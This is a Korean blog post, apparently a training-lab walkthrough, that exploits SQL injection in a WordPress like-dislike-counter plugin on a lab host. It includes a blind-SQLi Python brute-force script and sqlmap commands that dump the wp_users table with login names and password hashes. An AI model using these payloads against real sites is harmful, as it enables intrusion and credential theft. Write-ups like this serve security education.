fngs.kr | 2. 초기접근
fngs.kr 2. 초기접근 단계
본 내용 및 실습 환경은 KISEC, 케이쉴드 주니어 교육 과정에 있음을 알려드립니다.
정보
정보 수집을 단계를 통해 해당 도메인에서 사용 중인 dev.fngs.kr을 침투할 것이다.
또한, like-dislike-counter 플러그인을 사용하는 것을 알 수 있었기에 해당 플러그인에 SQL injection을 시도할 것이다.
- 범위 : dev.fngs.kr
Intial Access
공격자가 해당 서비스를 침입하려고 할 때, 다양한 진입 벡터를 사용하여 네트워크 내에서 초기 발판을 확보하는 기술로 구성됩니다.
발판을 마련하는 데 사용되는 기술에는 표적 스피어피싱 및 공개 웹 서버의 약점 악용이 포함됩니다.
해당 전략에는 여러 전술이 있는데 이번에 사용할 전술에 대해서 설명드리겠습니다.
Exploit Public-Facing Application
해당 플러그인은 공개 어플리케이션이기에 이를 악용하는 것으로 공격자는 의도하지 않거나 예상치 못한 행동을 유발하기 위해 소프트웨어, 데이터 또는 명령을 사용하여 인터넷에 연결된 컴퓨터 또는 프로그램의 약점을 이용하려고 할 수 있습니다.
시스템의 약점은 버그, 결함 또는 설계 취약점일 수 있습니다.
SQLi
해당 플러그인의 파라미터 값을 표면 상에서 제어 할 수 없으므로, Burp Suite를 이용해서 진행하겠습니다.
Like 버튼 클릭 했을 때 발생하는 패킷입니다. 파라미터는 post_id와 up_type으로 Burp Suite 옵션 Repeater를 사용해보겠습니다.
Repeater
파라미터를 건들지 않고 Send할 경우 응답으로는 ‘1’이라는 값이 나온다. SQLi가 발생한다는 것을 알게 되었으므로, Blind SQL Injection을 진행할 것이다.
해당 취약점에 대해서는 이전에 기술 하였으니 참고해주세요!
- 참
- 거짓
이 처럼 참 거짓 쿼리 반응이 다른 것을 알 수 있다.
DB Name
해당 데이터베이스 이름을 Blind로 알기 위해서는 처음부터 계속 값을 비교해야한다. 이것을 일일이 하기엔 쉽지 않다.
따라서, Burp Suite에서 Intruder를 이용해서 진행한다.
우리가 반복적으로 보낼 패킷에서 해당 post_id에 데이터베이스 이름의 값을 참 거짓 판별하기 위한 쿼리문을 집어넣고, 해당 값이 변수 처럼 진행하기 위해서 Add §해준다.
Payloads 항목에서 Type을 Number로 바꾸고, 아스키 코드 32 ~ 127를 비교할 것이므로 From To를 변경해준다. 해당 페이로드로 Start Attack을 하여 결과를 체크해본다.
아스키코드 ‘119’에서 결과 값이 1로 참임을 뜻한다. 따라서 첫 글자는 w임을 알 수 있다.
숫자가 파라미터 일 때는 싱글 쿼테이션을 사용 하지 않는다. 따라서, 문자열 ‘a’ 과 같이 and 로 Blind 하면 싱글 쿼테이션 때문에 쿼리문이 깨진다. char()를 이용하거나 ascii()를 이용해서 싱글 쿼테이션 사용 없이 쿼리를 진행한다.
몇 글자 일지도 모르는 데이터베이스의 이름을 이렇게 수작업 하는 것도 노동이 된다. 그렇기에 스크립트를 작성한다.
#!/usr/bin python
import requests
import string
url = "http://dev.fngs.kr./wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php"
db_name = ""
subStr = 0
while 1 :
subStr += 1
for asciiCode in range(97, 127):
brute_string = '1 and substring(database(),'+str(subStr)+',1) = char('+str(asciiCode)+')'
payload = {'post_id' : brute_string, 'up_type' : 'like'}
r = requests.post(url, data = payload)
if r.json() == 1:
db_name += chr(asciiCode)
print('DB_NAME = ', db_name)
이렇게 데이터베이스의 이름이 wordpress 인 것을 알 수 있다.
SQLMAP
이번에는 칼리에서 제공하는 sqlmap을 이용해서 데이터베이스의 이름과 테이블 등을 알아내본다.
sqlmap은 데이터베이스 구조 및 테이블, 컬럼을 추출할 수 있도록 만들어진 오픈소스 모의침투 도구로, 해당 도구를 사용하는 경우 반드시 담당자(고객사)와 협의를 통해 허가를 받은 뒤에 사용할 필요가 있다.
- 데이터베이스 이름 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=list" -p "post_id" -v 5 --dbms=MySQL --dbs
- 데이터베이스 테이블 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=list" -p "post_id" -v 5 --dbms=MySQL --tables -D wordpress
- 데이터베이스 칼럼 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=list" -p "post_id" -v 5 --dbms=MySQL --columns -T wp_users -D wordpress
- 유저 정보 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=list" -p "post_id" -v 5 --dbms=MySQL --dump -T wp_users -D wordpress
- 유저 특정 정보 추출
sqlmap -u "http://dev.fngs.kr/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php" --method="post" --data="post_id=1&up_type=list" -p "post_id" --level=3 --dbms=MySQL -C "user_login,user_pass" -T wp_users -D wordpress --random-agent --dump
이렇게 유저에 대한 정보를 가져올 수 있었다. 하지만, 관리자의 계정을 알고 싶기에 user에 대한 메타 데이터인 wp_usermeta를 통해 확인해보면 kisec이 관리자인 것을 알 수 있다.
패스워드는 모두 해시 함수를 통해 암호화가 되어 있다. 다음은 이러한 해시 함수 등의 자격 증명을 도용해보겠습니다.